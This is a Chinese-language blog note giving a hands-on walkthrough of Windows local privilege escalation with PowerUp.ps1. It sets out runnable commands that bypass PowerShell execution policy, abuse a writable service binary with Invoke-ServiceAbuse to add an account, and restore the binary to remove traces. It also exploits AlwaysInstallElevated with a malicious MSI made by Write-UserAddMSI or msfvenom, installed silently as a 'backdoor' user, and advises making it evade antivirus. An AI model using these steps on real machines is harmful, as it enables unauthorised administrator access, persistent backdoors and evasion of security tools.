PowerUp攻擊模組實戰
- 2019 年 10 月 22 日
- 筆記
PowerUp攻擊模組實戰
1.將PowerUp.ps1腳本上傳至目標伺服器,然後在本地執行
2.使用IEX在記憶體中載入此腳本,執行以下命令,腳本將進行所有的檢查。
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘C:PowerUp.ps1’); Invoke-AllChecks”
由於檢查項較多,輸出內容繁雜,可以導出方便分析查看。
powershell.exe -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘C:PowerUp.ps1’); Invoke-AllChecks” > sys.txt
也可以在cmd下導入模組繞過策略執行:
powershell.exe -exec bypass -Command “& {Import-Module c:PowerUp.ps1; Invoke-AllChecks}”
可以看出,Powerup 列出了可能存在問題的所有服務,並在AbuseFunction中直接給出了利用方式。
第一部分通過 Get-ServiceUnquoted 模組(利用 windows 的一個邏輯漏洞,即當文件包含空格時,windows API 會解釋為兩個路徑,並將這兩個文件同時執行,有些時候可能會造成許可權的提升)檢測出了有 “Vulnerable Service”、”OmniServ”、”OmniServer”、”OmniServers” 四個服務存在此邏輯漏洞,但是都沒有寫入許可權,所以並不能被我們利用來提權。第二部分通過 Test-ServiceDaclPermission 模組(檢查所有可用的服務,並嘗試對這些打開的服務進行修改,如果可修改,則存在此漏洞)檢測出當前用戶可以在 “OmniServers” 服務的目錄寫入相關聯的可執行文件,並且通過這些文件來進行提權。
漏洞利用原理:Windows 系統服務文件在作業系統啟動時會載入執行,並且在後台調用可執行文件。比如,JAVA 升級程式,每次重啟系統時,JAVA 升級程式會檢測 Oracle 網站,是否有新版 JAVA 程式。而類似 JAVA 程式之類的系統服務程式載入時往往都是運行在系統許可權上的。所以如果一個低許可權的用戶對於此類系統服務調用的可執行文件具有可寫的許可權,那麼就可以將其替換成我們的惡意可執行文件,從而隨著系統啟動服務而獲得系統許可權。
2)測試寫許可權
我們可以使用 icacls(Windows 內建的一個工具,用來檢查對有漏洞目錄是否有寫入的許可權)來驗證下 PowerUp 腳本檢測是否正確,我們先對於檢測出來的漏洞目錄進行許可權的檢測
icacls “C:Program FilesWindows Media Playerwmpnetwk.exe”
“Everyone” 用戶對這個文件有完全控制權,就是說所有用戶都具有全部許可權修改這個文件夾。
參數說明:”M” 表示修改,”F” 代表完全控制,”CI” 代表從屬容器將繼承訪問控制項,”OI” 代表從屬文件將繼承訪問控制項。這意味著對該目錄有讀,寫,刪除其下的文件,刪除該目錄下的子目錄的許可權。
3)許可權提升
在這裡我們使用 AbuseFunction 那裡已經給出的具體操作方式,
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Invoke-ServiceAbuse -Name ‘WMPNetworkSvc’ -UserName micr067 -Password admin@123
之後當管理員運行該服務的時候,則會添加我們的帳號。(帳號未添加,後續再研究)
4)刪除痕迹
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Restore-ServiceBinary -ServiceName ‘WMPNetworkSvc’
恢復
“C:Program FilesWindows Media Playerwmpnetwk.exe.bak”
為
“C:Program FilesWindows Media Playerwmpnetwk.exe”
l 移除備份二進位文件‘
“C:Program FilesWindows Media Playerwmpnetwk.exe.bak”
上傳PowerUp.ps1到目標機器
使用 Powerup 的 Get-RegistryAlwaysInstallElevated 模組來檢查註冊表項是否被設置,此策略在本地策略編輯器(gpedit.msc):
關於AlwaysInstallElevated 註冊表項
Windows 環境提供組策略設置,允許常規用戶安裝具有系統許可權的 Microsoft Windows Installer 程式包(MSI)。這可以在標準用戶想要安裝需要系統許可權的應用程式的環境中發 現,並且管理員希望避免向用戶提供臨時本地管理員訪問許可權。Windows 環境提供組策略設置,允許常規用戶安裝具有系統許可權的 Microsoft Windows Installer 程式包(MSI)。這可以在標準用戶想要安裝需要系統許可權的應用程式的環境中發 現,並且管理員希望避免向用戶提供臨時本地管理員訪問許可權。
如果 AlwaysInstallElevated 註冊表項被設置,意味著的 MSI 文件是以 system 許可權運行的。命令如下,True 表示已經設置
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Get-RegistryAlwaysInstallElevated
也可以使用註冊表查看
reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
0x02 許可權提升
接著我們需要生成惡意的MSI安裝文件,讓其來添加用戶,第一種方法可以使用PowerUp腳本自帶的 Write-UserAddMSI 模組,運行後生成文件 UserAdd.msi
powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(‘c:/PowerUp.ps1’);Write-UserAddMSI
然後我們以普通用戶許可權運行這個 UserAdd.msi,就會成功添加賬戶:
由於我是在payload域環境下,密碼需要符合密碼強度才能添加,否側會彈窗報錯!
添加了一個backdoor用戶。
並且是管理員許可權。
第二種方法,通過msfvenom生成一個msi後門,同樣可以實現上面的功能。
msfvenom -f msi -p windows/adduser USER=micr067 PASS=Qwer1234! -o /root/add.msi
注意:此處對密碼強度有要求,否則會報錯!
meterpreter上傳msi木馬,然後運行即可
msiexec工具相關的參數:
/quiet=安裝過程中禁止向用戶發送消息
/qn=不使用圖形介面
/i=安裝程式
執行之後,成功添加上了該帳號密碼。當然這裡也可以直接生成木馬程式。
註:由於是msf生成的msi文件,所以默認會被殺毒軟體攔截,做好免殺。
msiexec /quiet /qn /i C:add.msi
成功添加用戶。
msf下存在自動化的腳本供我們提權使用
exploit/windows/local/always_install_elevated